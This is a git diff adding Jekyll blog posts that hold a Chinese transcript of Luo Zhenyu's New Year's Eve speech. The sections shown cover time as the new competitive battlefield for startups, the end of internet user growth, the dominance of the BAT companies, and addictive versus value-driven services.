+我们再来看人。其实我最关心的是人。进入12月的时候，我的跨年演讲的稿子就得写词了嘛，我经常写词的空闲时间，我就问问旁边的人，我说乐视是倒还是不倒啊？这倒了，它就是大事啊，我跨年演讲就得讲啊，这还不倒？当然我盼着它不倒啊！你看，人的命运也是一片混沌。 + +还有一个人，去年我在北京水立方跨年演讲，我挺他，我说他一定会赢，他不会输的。过程当中我就在想，王老师，能给我来个痛快的吗？没有，人家现在还是万科的董事长。 + +很多事情真的是看不清楚。2016年最大的特点就是靴子在天空飞舞，它发生了太多太多的事情。我们今天看见屏幕上给出的这些事件，简直就是恍如隔日，又恍如隔世。很多人因为宏观环境不确定，感到茫然失措，但是有一类人绝对不会，那就是我们的创业者。创业者的世界里，只有两样东西，一个叫待解决的问题，一个叫正在尝试的方法。这两个东西合起来就是一个词，叫“机会”。甭管环境怎么样，创业者总是在找机会。当然在此，我想打个岔，我想咱们得重新定义一下什么叫创业者。开场以来，我已经提了这个词已经四到五遍，创业者不是指那些拥有一家公司，融了资，准备上市的人叫创业者。**我觉得符合三个条件都叫创业者，只要他试图不断地提高自己的认知，达成更新式的协作，开拓人类文明的新边疆，做一件前所未有的事。所有这样的人，不管他是一个打工者，还是一个自由职业者，也不管他是为了公司在打拼，还是为了他个人在奋斗，这样的人我们都称之为叫创业者。**我一直试图找一个词来形容创业者的这种处境，后来我想，也许我们小时候听过的那个故事最合适，这个故事我们都快忘了，叫“小马过河”。小马过河的处境就是，你不用听老水牛的，你也不用听小松鼠的，他们的情况跟你不一样，他们在那条河里是浮是沉，是成是败，跟你没有一毛钱关系，你问王健林，王健林先让你挣1个亿，这经验对你有毛用？ + +我们创业者是定一个目标，然后要么你确切地知道水深水浅，要么你以身犯险，自己去试，宏观环境跟我们没有什么关系。正如巴菲特的合伙人查理•芒格讲的那句话，**宏观是我们必须承受的，微观才是我们能有所作为的地方**。 + +今年马云讲了一句话，我觉得特别有意思。有人说实体经济不行了，那是你们家的实体经济不行了，跟实体经济有毛关系？实体经济好的企业多得是。 + +2016年就要过去了，我和各位一样，非常的怀念它，那么多吃瓜群众在想着宏观经济会不会好啊？远期来看，人民币汇率是涨是跌啊？王宝强家会不会真的受到损失啊？谢杏芳到底有没有真诚的原谅林丹啊？资本有没有寒冬啊？乐视会不会倒啊？我们用一颗吃瓜群众的心，其实我们也都难免，在关心着一切消息。但是我们身为一个创业者，我们心里知道，好也罢、坏也罢，它只是我的含量，我的任务很简单，适应环境，找到机会，然后活下来。 + +正如张瑞敏先生打的那个比方，什么是创业者？创业者就是和一架飞机同时从悬崖上掉下去，然后你有本事一边掉一边修，修好这架飞机，然后向新的方向飞去。 diff --git a/_posts/2017-01-04-186-luozhenyu-2017-eve-01.md b/_posts/2017-01-04-186-luozhenyu-2017-eve-01.md new file mode 100644 index 0000000..ae7605f --- /dev/null +++ b/_posts/2017-01-04-186-luozhenyu-2017-eve-01.md @@ -0,0 +1,81 @@ +--- +layout: post +title: 一.时间战场 +pid: 186 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：在下面的3个小时里，我们只有一个任务，就是认出正在起飞的黑天鹅。 + +2016年，本来应该是这样的2016年，16个字： + +人无贬基，中或最赢，四千起牛，好威支希。 + +前3个词，大家可能能够感受到它的意思，人民币没有贬值基础，中国或许成为最大的赢家。中国股市4000点才是牛市起点，最关键后4个字不太好威支希，就是你要不断地喊，好，威武，支持，有希望。 + +本来我们都希望活在这样的中国，但是网络作家木村拓周，他给2016年总结了8个字，叫消内普现，众自猪冬，什么意思呢？ + +这是四大创业投资方向，消费升级、内容创业、普惠金融、虚拟现实，四大创业投资方向。难点是众自猪冬，就是大众创业、万众创新的口号一提出来之后，每一个创业者都觉得有一次财富自由的机会，大家都可以当风口里的猪，结果迎来了资本寒冬。这就是黑天鹅。很多人提到黑天鹅的时候会觉得迷惑，但是我们创业者是什么属相的？不在十二属相中？我们属癞蛤蟆的，管他什么白天鹅、黑天鹅，吃到肚子里都是机会。 + +今天晚上，不管是现场的朋友，还是看直播的朋友，本质上我们都是一类人群，看见黑天鹅扑拉拉地飞起，我们心里想的就是一件事，没有黑天鹅，哪有我的机会？ + +当黑天鹅起飞的时候，所有的战场格局、地形、河流、山川全部在发生变化。我们今天给大家提供的第一个答案是，有一个战场，全新的战场正在摆开，叫时间战场。 + +今年有一个资本家，今日资本的徐新讲了这么一段话，说生意都不好啊，线上的企业没有流量啊，只好到线下去找啊。线下的企业是没有人啊，只好当线上去捞啊。大家都成长乏力。 + +这个成长乏力到底是怎么回事？我们中国人其实相信一种循环史观，就是所有的困难都是暂时的，人有悲欢离合，月有阴晴圆缺，将来会好的，但是我们这些人心里也是清楚的，有一些趋势它虽然微小，但是坚定，他不断地往前走，他不可逆。就像中国的城市化，中国的老年化，科技的进步，都是这种微小的趋势。短时间看，也许你会失望，但是只要累积出一个时间，你会大惊失色，这就是小趋势的力量。 + +2016年，我们感受到的最可怕的小趋势的力量是，**互联网人口红利结束了。**去年，网上还流行一个段子，有人问他爸，“爸，你有微信吗？”他爸回答说，“在家说话都没人听，哪有什么威信？”今年可不一样了，2016年，在座的想一想，哪家的爸还没微信哪？装满了。最新公布的数据是这样，微信的日活用户已经突破了7.8亿，中国才多少人啊？中国互联网的移动化过程也快完成了，现在中国的手机，智能手机，我看到的最新数字是6.56亿部。中国手机市场也几乎饱和了，也就是说该有手机的都有了，该上网的也都全上了。结果呢？结果就是原来你以为移动互联网是一个那么大的天地，你可以像一只蝴蝶一样在里面飞舞。对不起，现在请落到地上，不是池塘里，是泥浆里，厚得一塌糊涂，请在泥浆里学会游泳。 + +不久前，企鹅智酷和我们合作，发布了一份报告，叫“分水岭”，我特别喜欢这个词，什么意思？就是你分明知道在这道河的那边，在这道山冈的那边，有一个全新的世界，你不知道它什么样子，大事即将发生。那发生了一些什么大事呢？我的观察，2016年，大公司的优势已经牢不可破，越来越巩固。现在阿里、腾讯这样的巨无霸、巨头型企业多挣钱啊。2016年的三季度，阿里每天挣3.7亿，腾讯一天挣4.4亿，也就是说，王健林在午夜12点的时候跟马化腾说，你先去挣一个亿，天还没亮，马化腾挣完了。就这么大的优势。 + +2015年，整个中国的线上电子交易3.8万亿，阿里一家占了3万亿。前不久我在杭州见到马云，他告诉我，今年还不错，3.7万亿，人家涨得就这么快。有人算了这么一笔账，BAT用整个互联网从业人员大概500万这个人数当中的3%的劳动力，创造了这个行当近乎一半的产值。那就奇怪了，剩下的97%的人在干吗？我拿出纸来打了个草稿发现，97%的互联网人，他们平均一年产生的财富，还不到他们城市的平均水平。互联网人可怜，在拉后腿。 + +马云经常讲一个句式，说“一个坏消息，一个好消息，坏消息是经济不太好，好消息是大家都不好。”但是马云说的这句话可不老实，他们家就很好。 + +2016年排名前50的APP，BAT三家占56%，排名前十的APP，手机上的那些应用，有九个是他们BAT的，人家就是这么大的优势。 + +所以去年我在中关村创业大街还经常能够看到年轻人满怀梦想，说我要颠覆BAT，今年我再也没听到过。对，去年跨年演讲我就提醒过，BAT是人类商业文明的一层，这一层会固化，他们的优势会牢不可破，我们创业者唯一可以做的，是在下一层跟他们去博弈，占他们的便宜。很多人其实不太明白，那些大公司、那些巨无霸、那些巨头们，他是怎么想的。今天我就泄个密，巨头们，他们是怎么想的，我想一个比方，巨头们的世界观是古埃及的世界观。这话怎么讲？各位有到埃及去旅游过的吗？我当年去的时候导游告诉我，说古埃及的人特别怪，你会发现我带你参观的所有的景点都是为他们死后建筑的，古埃及人为自己活着的时候建的建筑没有一个留下来。他们觉得，现世不重要，未来才重要，这就是BAT这些巨头的想法。我们创业者害怕什么？没有现在。**巨头们害怕什么？没有未来。**这就是我们占他们便宜的机会。 + +所以，很多人已经明白了，预期和BAT这个公司或者他们的产品去博弈，还不如去跟他们的投资部门死磕。所以，2016年中国的创业市场上，我觉得有一种生意叫“代孕生意”，代你怀孕的生意。就是，我就做一个项目，这个项目它看起来很有前途，然后我就瞄着你BAT的需求去做，我就不信有一天我做出一点点苗头你会不收购我，或者不投资我，让我认到这个“干爸爸”。 + +这不是开玩笑，这是一个真实的情境。过去几年，江湖上所有的创业者已经基本上分成了这样的门派，其中阿里和腾讯这样的门派是最大的，也就是说现在市场上的创业者只有两个选择，要么姓马，要么姓马。 + +我们做了非常痛苦的工作，把他们的势力给圈出来了。当然，这是自我安慰，我们不可能为了阿里和腾讯去创业。好，我们现在假设自己干，怎么办？最现实的处境就是，流量没有了。刚才我们讲到，整个移动互联网的增量结束了，非常痛苦。原因很简单，就这么多人嘛，每个人手里就一个手机嘛，手机的第一屏就能够安装那么多的应用嘛，连接入那么大的市场的机会就这么一点点嘛。2012年，如果你是一个创业者，你想推广一个APP，获客成本大概是一个人一毛钱。2016年，这个价格已经涨到了几十、一百，甚至我还听过更高的。用户规模不增长，但是创业公司的数目在增长，手机APP的创生在像浪潮一样的涌来，这就是我们面对的处境。所以2016年一些有识之士开始提出一些全新的概念，比如说王兴提出一个很著名的概念叫“下半场”。他的意思是，上半场靠用户红利，我们可以粗放经营。结束了，结束了啊，现在下半场来了，下半场的特点是要精耕细作，深挖用户价值。这话听了太官方了。我有一个可以用我的私人经历来解读的通俗版本，这段经历发生在我1岁多一点的时候。 + +这是我，一岁多一点的时候，我刚刚学会吃奶之外的东西。有一天，我穿着一只衣服，胸前有一只口袋，我觉得那个口袋很大，我爸爸在里面装了一些枣，我就坐在我们家门口的门槛上吃这个枣，吃一口就扔了，因为我觉得很多嘛，吃一口就扔了，很快那兜里的枣就没了。然后一看没了不行啊，就趴在地下捡那个枣胡吃，这就叫深挖用户价值，这就叫精耕细作，把原来丢掉的枣胡啃干净，为了件事情，我老爹笑话了我到现在。 + +这其实是一个特别重要的变化，投资人李丰今年讲了这么一段话，说创业者过去太尽管找进水龙头，现在我们要关注找出水龙头。因为过去水流是不进的，现在我们捏呆呆发楞看着这仅有的一缸水，关死出水龙头，在里面找到我们能挣到的每一毛钱。这意味着很多东西，意味着钱不能乱花了，意味着原来我们用各种各样的办法试图把新用户先弄进来再说那种思维方式过时了，意味着我们老的手艺都没用了，意味着我们新的手艺谁都不会啊，这就是我们现在市场的现状，把每一个枣胡捡起来吃干净，这是2016年之后创业者必须要做的事情。在这方面，我们本次演讲的策划人吴伯凡老师给了我一个特别好的意向，他说，过去的创业者争的是什么？市场份额。我们假设市场有多大，然后穷尽我们的所能，在里面找我们的用户。现在现在不是了，用户没有了，就这么些了，你要争的是下一个份额，叫钱包份额。一个人来了，按住，放血，在他的兜里掏出更多的钱，占住他钱包更大比例的份额，这是是我们下一代商人的思维模式。 + +2016年对我来说，有一个时刻特别震撼，那一天我看到了一句话，这句话是万维钢老师说的，后来我找他要这句话的精确表述，他给了我这么一个公式，估计都看不懂，我把它翻译成人话，**“以有限的时间除以无限的信息，结果是零。”**一条信息在未来的互联网的世界里，它能传播出去的命运基本上趋向于传播不出去。这件事情特别残酷，为什么？因为和我们原来对互联网的认知完全不一样。原来我们觉得，互联网来了，最大的便利就是让每个普通人拥有了传播信息的便利啊，一个人发一条微博，结果就天下皆知，一个人做一场演讲，没准手机就卖得特别好，我们老罗家就特别擅长干这件事。但是2016年我们发现，这一招不对，每个人都缺流量，为什么？因为一个人只有24个小时，每天只有那么一点时间，可以通过手机或者互联网工具，去关注其他的世界。时间是一个固定的池子。对，意识到这一点的时候，我发现我抓住了2016年的第一只黑天鹅，时间是一个战场。 + +受到这个启发，我提出了一个概念，叫**国民总时间，GDT**。国民总时间这个概念，它不像国民生产总值那样每年能波动，它并不波动，它几乎是一个恒定的总量。当然国家也在想办法增加这个总量，比如说鼓励生个二胎。但是，看着这几年的数据，中国人平均每周上网的时间26.5小时，这个数基本已经稳定下来了，几乎不会再有再大的突破。所以我们就这么算了，假设中国有10亿网民，假设每天每人在互联网上花5个小时，我们一年全中国市场有的国民总时间只有18250个小时，这就是这个池子我们可以指望的总量。 + +美国人其实也有类似的体会，美国科技界有个著名的评论人莫博士，他说据我的观察，绝大部分用户一个月都不会下载一款应用的。就在我写这篇文章刚刚，我卸载了我手机里一半的应用，因为我发现即使我下载了也不用它，特别残酷，手机只有一个手屏，我们所有的产业都在和手屏里的微信、微博、今日头条等等这些超级应用在竞争。企鹅智酷的一个数据告诉我们，2016年的6月，微信公众号已经达到了2000万个，当然我知道现在的数字远远不止，大概2500万个以上，至少在我身边做微信公众号的已经比看微信公众号的人要多了，就这么残酷的一个战场。 + +所以，任何一个人想通过做内容、想通过秀自己，再来一次天下皆知的奇迹，这件事情不是越来越容易，而是越来越难。互联网、移动互联网来临的时候，许下给我们一个假象，好像世界无穷大，几年运行下来，结果就是，就这么点儿大。这要成为我们观察下一个阶段商业的一个全新的角度，首先时间会变成终极战场。什么意思？就是所有的行业，不管是电影、游戏、休闲、度假，还是什么直播，还是什么新近兴起的短视频，不要以为还有什么行业的壁垒，每一个行业都是在这个时间战场当中要自己的一杯羹。现在所有的新兴产业本质上就是既要你的钱，还要你的命。什么意思？就是还要获取你生命当中的一段时间。一个咖啡馆和一个出版社，一个度假酒店和一个游戏，本质上它们都是竞争对手。 + +Netflix的CEO讲了这么一段话，说所有争夺时间的企业都是我的竞争对手。游戏业大佬叶书岭（音）也讲过一句话，说我们游戏行业互相之间的竞争那算什么竞争？我们真正要抢的是人家体育业和娱乐业的生意，所有的时间都归我。所以，这场竞争围绕时间，或者具体的讲围绕你手机的第一屏正在展开。 + +2016年张小龙微信的大产品经理，神一样的人物，说了一段神一般的话。说微信有一个基本价值观，一个好的产品是用完即走，不要拉住用户的时间。好像和我们今天的判断完全相反，对吧？今年我们公司就发生过这一幕，我们公司的产品经理跟我们讨论的时候就说，张小龙不是说，不要牵住用户的时间，用完就走吗。我说呸，微信是用不完的，你怎么能相信张小龙的话呢？只要你不是微信，你在这个市场上你有什么资格那么傲娇？还用完就走！ + +明白了这一点，你就会理解马云的焦虑，今年11月份，支付宝干了一件事情，**“白领日记”、“校园日记”**，对吧？我个人在思想上对这种行为持批判态度，但是我的眼睛没有忍住，那天在上面花了不少时间。当然后来阿里也确实在反思，也为这件事情道歉。但不管怎么讲，从这件事情其实我们可以看到，即使如巨无霸一样的阿里，它也在为获得用户时间而焦虑，他要的哪是什么社交？他要的就是，为什么我们的产品那么悲摧，跟张小龙主张的一样，用完就可以走了？应该用完不走才对嘛。 + +还有一个悲摧的产品，这是微信的数字。还有一个悲摧的产品，美图秀秀，它就是典型的张小龙说的那种，用完就走，我用完美图秀秀不走，难道要在里面不断提醒自己我其实没那么好看吗？结果呢？结果这样一个理论上用户也达到十个亿，据说月活也有四个亿的产品，这家公司不得不跑到香港去上市。香港是一个市盈率不太高的市场。他为什么得去？因为不挣钱。所以马云看到这样的例子，他能相信张小龙的话吗？你永远也不能再哄睡一个在觉醒的人。 + +所以，2017年很多事情我不确定，但是有一件事情特别确定，阿里马云一定会在社交上再有动作，马云会回来的，这是时间成为战场的最重要的一个结果。 + +还有一个结果，我们的用户为每一个商家支付的不再是钱，不仅仅是钱，而是要支付时间。如果你理解了这一点的话，我们就可以破2016年的一大谜案了，就是中国电影界的命运。我们来看几个数，2016年年初中国一共拥有电影屏幕大概是3万块，到今年年底大概是4万块，这个成长非常的快，30%几。但是结果呢？中国电影的总票房2015年440亿，2016年将近450亿，几乎原地踏步。怪了，这么一个新兴行业，那么多大佬玩了命的往进冲，居然2016年止步了，有一些经济学常识的人都知道，经济越不好，娱乐业应该越好啊。为什么2016年的电影业这么惨呢？当然有人说很多原因，说2015票房是假的，2015大量的票补，我们都不说那些，猫眼的老板郑志昊给我提供了一个洞察，说看电影这事，在2016年和2015年已经不是一回事了，为什么？因为它要耗你的一段时间。看电影大概两个小时，前后的路上还要时间，你会花三到四个小时来支付给一部电影，如果它不好看，你面对的风险已经变得非常大，看电影已经不是一次碎片时间的支付，是一次整块的支付，很多人付不起，所以有些电影有人说不好看，片方才那么抓狂啊，你这不是毁我生意吗。原来一个影评人说点坏话，大家说那进电影院试试看喽，现在大家不敢试了，三四个小时，你发现自己支付不起。所以郑志昊跟我讲，未来在这个市场上没有过得硬的那个人不要混了。这是值得所有行业警觉的一件事情。 + +很多行业还在用会计指标和一套算法还算自己的企业产品收益，但实际上，有这么一个潜在的账本正摊在你的身后，决定你的命运。所有的产业，你的产品、你的服务真值得你的用户花那么长的时间吗？我们来看传媒业，你真的要办那么多频道吗，你的报纸真的要那么多版面吗？我耗不起。再来看出版业，你一本书真的要写那么厚吗？你有那么多话要跟我们说吗？ + +再来看教育业，你的老师真那么大本事？规定时间、规定地点，让我听你的课？一课还就四、五十分钟？有的演讲还动不动搞四个小时？开什么玩笑？居然还用点名这种方式要把人圈在现场。还有，有人说，像航空业，你们把空姐搞那么漂亮有什么用？大家现在不敢坐飞机是因为你老晚点，时间耗不起。还有酒店业，你们那个入住和退房的手续真需要那么长的时间吗？好多人在那儿等得很着急。 + +每一个行业都知道，消费者为你支付的不仅仅是钱，还有时间。 + +再来，时间这个战场摆开之后还一个结果，就是商机从空间正在转向时间。这话有点费解啊，我们来举一个例子。有一个朋友，生了一孩子，然后他一位土豪朋友就送给他一大块金砖，金砖啊，九成金，上面刻上了这孩子的名字。我这位朋友看着这块金砖，就捏呆呆发楞，首先刻了孩子的名字，不忍心化了打首饰。第二，刻了孩子的名字，也不好再送人。第三，搁在家里怕保姆偷，所以又单独买了个保险柜。然后他心知肚明，这一辈子也用不上这块金子，但是这块金子会拖累他一辈子。他不知道自己为什么要留着这块金子，这是一个特别大的折磨。对，你会发现，过去我们的产业是为消费者生产一个空间中它占有的对象，真的还有用吗？今年过年，在座的各位肯定会收到刻着你名字的台历、刻着你名字的U盘等等这种小礼物满天飞，我们对待这些占用我们空间的物品，态度是不是越来越不礼貌啊？经常随手就给它扔掉啊。对，房价这么贵，还占我们的空间，讲不讲理？ + +有一个著名的问答是这么说的，说在这个时代，哪些事情做了马上就可以提高生活品质啊？答案很简单，扔东西。这就是围绕空间展开的商业机会正在饱和、正在耗尽它的势能。那机会下一个会出现在哪儿？就是另外一个维度，时间。因为我们每个人的体验，本质上是一个时间现象，围绕体验的商及正在展开它的翅膀。所有的体验，都是本质上的一段时间。**这一轮消费升级，一定不是把更贵的东西卖给更傻的人，而是换一个维度，优化那些有钱人的时间**。 + +消费升级，在我们的身边正在展开，有的时候你看到的东西是一模一样，但是它背后的那个道理正在发生变化。同样是感谢吴伯凡老师，他给我提供了一个意向，我觉得特别能说明一个问题，围绕空间的商机。比如说茶，用户不会再为柴米油盐酱醋茶的“茶”而付钱，用户会为琴棋书画诗酒茶的“茶”而付钱。这两个“茶”的区别是什么？上一个茶是你空间当中的一个物件，而下面琴棋书画诗酒茶，这里面的“茶”和周边的每一个字都代表一段美好的时间。现在的人是肯为一块点心里面装进去的一支花瓣而付钱，他们会为了企业创始人的一念坚持而付钱，他们肯为一张漂亮的招贴画，因为感动了他而付钱。他们会为奖励自己一下，而不是向别人炫耀一下而付钱，他们会为了故事而付钱，他们会为了细节而付钱，他们会为了说辞而付钱，他们会为了想象而付钱，他们会为一切让自己生命的一个瞬间突然能够变得美好一点的东西而付钱。 + +**未来，在时间这个战场上，有两门生意会特别值钱：第一，就是帮别人省时间。第二，就是帮别人把省下来的时间浪费在那些美好的事物上。** diff --git a/_posts/2017-01-04-187-luozhenyu-2017-eve-02.md b/_posts/2017-01-04-187-luozhenyu-2017-eve-02.md new file mode 100644 index 0000000..0f0c115 --- /dev/null +++ b/_posts/2017-01-04-187-luozhenyu-2017-eve-02.md @@ -0,0 +1,61 @@ +--- +layout: post +title: 二.消费升级 +pid: 187 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：下面我们来说第二只黑天鹅，我们还是要回到时间话题。因为每一个人的时间都被占满，每一个人都不得不面对无时无刻的时间的选择，所以时间这个东西已经变质了，它变成我们自己。我们选择怎么花时间，其实已经正在改变我们自己，今年我看了一篇文章，心理医生李子勋先生，很有名的，有一天有一个患者，就去找他，说自己有一个天大的难题，他说我的这个女儿，他的父亲经常出差在外不回家，然后回到家之后孩子就不认他，不叫他爸爸，请问怎么办？我怎么教育这孩子应该对他父亲好？ + +李子勋的回答我特别喜欢，说正是这个父亲的选择，**他既然把99%的时间花在工作上，他就没有准备选择父亲这个角色，这是他应当承受的。**对，特别残酷。当时间没有了的时候，我们其实每时每刻用花时间的方式来雕刻我们的人生，我们使用时间的方式就是我们塑造自己的方式。你说你是一个工作狂，可以，就不要指望再当一个好父亲、好丈夫。你说我就是喜欢吃喝玩乐，可以，活法没有高地贵贱之分，你就这样决定了你的人生。特别残忍，不要谈你的愿望，你每时每刻对时间选取，都在暴露你人生的底色，不要听他说什么，就看他怎么花时间。有一天我老婆就教育我，说你再不锻炼，再不健身，你说你对我好？你肯定是一个没有远见的人，你很快就嗝屁，你对家庭负责，你现在就应该去减肥，不要扯别的。你现在对时间的选择，就暴露了你这个人的本质。这话说得我哑口无言。 + +对，当时间变得已经成为我们生命的雕刻刀的时候，很多东西在发生变化，这就是我们下面要讲的这个主题——服务升级。怎样去帮助人群去雕刻他的时间。 + +世界上美好的东西实在太多了，他们都在找我们要时间。所以刚才我们讲时间是战场，时间也是货币。而且这样的货币真的是一分一秒也多不出来。商业的本质是什么？商业的本质不是由我们这些创业者或者那些买卖人决定的，商业的本质是我们这些人和我们的用户在反复互动中生成的一个现象。当我们的用户已经变成了被时间雕塑的物种的时候，我们的商业在发生什么样的变化，我这不是在说什么心灵鸡汤，我说的是真实的商业环境。你的用户没时间了，你的用户在选择你的产品的时候面对巨大的痛苦，他认可你，他很有钱，他也愿意被说服，但他就是没有时间给你。这是很多商家面对的最大最大的困惑。你可咋整？ + +**现在商业界摸索出来的办法无非是两类。第一类叫让他上瘾，拖住他的时间。第二类就是提供更优质的服务，优化他的时间。**我们现在看让人上瘾的这一派，很有意思，这是拉斯维加斯赌场，赌场的老板算是把这一套给玩得滚瓜烂熟，妙到毫巅，一旦进入赌场是没有窗户的，你看不见外面是天黑还是天明，你就在里面赌嘛，你需要知道什么时间？赌场里绝对不会给你挂钟表，赌场会不断往里面送氧气，让氧含量达到30%甚至更高，让你永远精神抖擞地在里面赌。如果你赌输了，或者你的时间已经过去很长时间了，赌场的服务员会主动给你提供一些饮料和食品，让你抖擞精神，屹立再站。赌场你进门的时候他就会给你把钱换成筹码，因为你输掉的是筹码，心里账户上的损失感会下降很多。刚才我讲的这些都是最最皮毛的这些伎俩，目的只有一个，托住你的时间，让你上瘾。 + +要知道，运用这派思路的人可不仅仅是赌场，政府也在研究这件事。**美国政府有一个词，叫助推，英文词叫Nudge，什么意思？就是从设计一份让你填的表格开始，设计一个小便池开始，设计一个自助餐厅的摆位开始，在不强迫你的情况下，让你去按照我的意志去行动，拖住你的时间，让你上瘾。** + +当然了，在这方面玩得最最高明的，应该散是游戏业的朋友。这张片子去年跨年演讲也用过，魔兽世界，仅仅这一款游戏，耗掉了全世界人民593万年。如果这是一段积蓄的时间，593万年前，人类都没有诞生。当然这是前几年的数字，现在我估计这数字还要大得多，这就是游戏业的本质。游戏业他们的一个内在的传统就是想办法搞清楚什么样的机制、什么样的手段会让我的用户上瘾。 + +任天堂常年的掌门人山内溥老先生，他提出的是这四个词：收集、育成、追加和交换。我国的著名创业者史玉柱也提出了四个词：荣耀、目标、互动和惊喜。我请教了我的混沌创业园的同学王信文，王信文给了我一张密密麻麻的清单，说你看，这都是我们玩的。当然我也不是很搞得懂，其中有一个词叫**“随机奖励”**，这个词是什么意思？就是游戏业的人发现，当给你的好处，比如说掉个分、涨个血，这种奖励是随机的，是没有规律的时候最容易拉住你的时间和注意力的。这个我们大家都有体会吧？你发了一条微信朋友圈，然后你会等着，看谁来点赞，看谁来评论。关了机，一会儿点亮，怎么还才5个人？然后你心里就会想，那谁，就是那谁，你心里知道的那谁，他怎么还不评论？他是不是在洗澡？洗完澡会不会来？为什么只点赞没有发评论，到底什么意思？就这样折磨我们啊，就这种随机到来的奖励，它足以让我们每天像一只做实验的猴子一样，每天几十次、上百次地点亮我们的手机屏幕，回到朋友圈，回到各个群里看他们对我们行为的反映。 + +万维钢，《精英日课》这个专栏里我看到有个用户讲了这样一段话，**说不确定的失去让人恐惧，不确定的得到让人兴奋。**各位，不要觉得你的所有的行为是你自己决定的，自由意志这件事情正在变得极其的的可疑。我们假设，过不了多久，人工智能发达了，人工智能给你提一个建议，你真以为躲得过去吗？即使它害你。因为他掌握你那么多大数据，他知道你什么时候意志最软弱，最听得进去话，什么时候得到一个建议之后，马上就病急乱投医，他了解你！然后他给你一个建议，好像是你选择的，你采纳了，但实际上是预算的结果。成瘾性设计，我不知道在伦理上该怎么评价它，但是在时间战场摆开之后，这是创业者必须要采用的。其实我们身边就有这样的项目，除了游戏之外，我们大家都知道，这种行为设计学正在成为几乎所有创业者要去学习、精研的项目。比如说今日头条，几亿用户，每天几千万人在上面花一个半小时以上的时间，靠的是什么？靠的就是不断地你喜欢什么就给你更多，通过一整套算法来拖住你的主意力。 + +当然，有人会批评今日头条，说这个简直就是毒品嘛，让人吃了上瘾嘛。但是今日头条的张一鸣，我觉得他回答得很好，说，你们觉得精英，觉得世界真相是怎样的，但是多数精英以为自己坚持的就是对的，你觉得那个东西不好，你们说了算吗？其实绝大多数人，包括精英在内，你们根本不知道世界的真相，我只不过是用我的技术再现了世界的真相而已。如果你觉得丑恶或者低俗，那就是世界本来的真相，我只是提供了技术的工具，技术本身是没有价值观的。所以，我并不是媒体，我只是一个技术性的公司。这是张一鸣对自己的辩护，这套辩护我觉得说得过去。 + +Facebook的创始人扎克伯格其实讲过类似的话，说我不想阻止用户去分享自己的意见，我也不是真理的仲裁者，我就是一个造飞机的，我是在互联网时代造高速飞机的，我不是航空公司，卖什么票、什么价格，把用户送到哪儿，我管那些？我就是一个技术派。技术没有正邪之分，我只是用技术把世界本来的真相呈现出来，如果你觉得很丑恶，那是你们自己人性当中的那部分被显露出来，它本来就很丑恶而已。 + +好，听完了这一派辩护，我们要回到这枚硬币的另一边，真的是这样吗？**有这么一句话，技术当然没有价值观，但是技术可以实现一个价值观。**这个世界其实道理不是一边说了就算的，有无数种对立的价值，在我们的人生中都会起作用，就像我们会同时承受父爱和母爱，就像我们的价值观当中同时会追求自由派和保守派，就像我们的天性当中既要追逐舒适又要去追逐刺激，这是一样一样的东西。所以，在刚才我们说的成瘾性设计在谋夺你的时间的同时，还有另外一种商业价值，我坚信它在这个世界上存在，那就是给你有价值的东西。这好像是一句片汤话，一句政治正确的话。但是我觉得，这句话的价值会放得越来越大。就像很多媒体在追逐用户，要看什么？小鲜肉，要看歌舞，跨年，我给你，有啊。但是，在这儿我特别得表扬我们今年的合作者深圳卫视，他们就做的叫“有志者我，跟我来”，这么一个定位，他们就是为创业者服务的，我干了十年电视行业，我知道提出这样的定位有多大的勇气，因为他选择不再迎合任何人，我选择一个价值，我去提倡，有志者，可以跟我来。 + +正是因为这样的机缘，罗辑思维我们的跨年演讲时间的朋友，本来我们做出的规划，我说我做到第五年的时候，会有省级卫视会直播我们的演讲，但是第二年我们就做到了，因为总有一些人会看向公众自以为是的需求的反方向，叫“价值”。商业在这个侧面上一定大有可为。我们把这个方向称之为叫“更有价值的服务”。什么叫“更有价值的服务”？本质上就是带你去你不知道的地方。知道和不知道，这件事情其实没有可以看起来那么简单。2016年，我看过这么一句鸡汤，所谓成功的人生只有一种，就是按照自己想要的方法渡过一生。是吧？这句话多么的正确。但是你转念一想，我们真的知道自己想要什么吗？我们难道不是又想功成名就，又想家财万贯，又想获得别人的尊重，而且还有自己的隐私吗？我们其实什么都想要，扪心自问，午夜梦回的时候，你问问自己我想要什么，那个答案是不一定的，你不知道你知道什么，你也知道自己不知道什么，这种状况其实在我们的脑子里一片混沌。 + +有人就问过我，说罗胖，你如果将来特别有钱，你会干什么？这有钱到怎么花都花不掉。我当时就想象到一个场景，我说每天早上我要睡到自然醒，我绝对不会在6点20发一条语音，呸！再不干那种苦事了。睡到自然醒，然后吃喝玩乐，到中午我再睡一个午觉，然后醒了，然后干什么？我说这样，我不是很有钱吗？我就会住在最好的度假圣地，我会雇一堆人帮我干一件事，比如说混沌研习社的李善友，给你一个亿，帮我组织一门课，这门课帮我搞清楚一个领域的知识，我一个“葛优躺”在那儿，你讲给我听，三个小时，帮我把会计这事搞清楚，我给你一个亿，反正我有的是钱。然后身边我可以搁一些沙发嘛，我的朋友可以请他来听嘛，这就是我曾经做的一个白日梦。对，我突然发现，我即使纵容自己到极点，穷奢极欲到极点，我发现我最感兴趣的还是那些我不知道我不知道的不知道的东西。 + +每个人的生命当中，或者说一定有人是这么想的到的。你会面对未来世界充满了好奇。所以有一次我把这个梦想讲给我们公司的CEO脱不花听的时候，她说这不就是你现在正在干的事吗？ + +做个广告，“得到”，这不就是我去找最有学问的人，然后把知识讲给我听，然后我说真牛真牛，然后旁边搁一些椅子，当然这些座位是卖掉的，这些老师不断讲给我听，然后我觉得它很有价值。这是人类当中总有这么一群人，或者人生当中总有这么一些时刻，他不确定自己要知道什么，他想要更好的东西，是什么？你告诉我，我不知道。 + 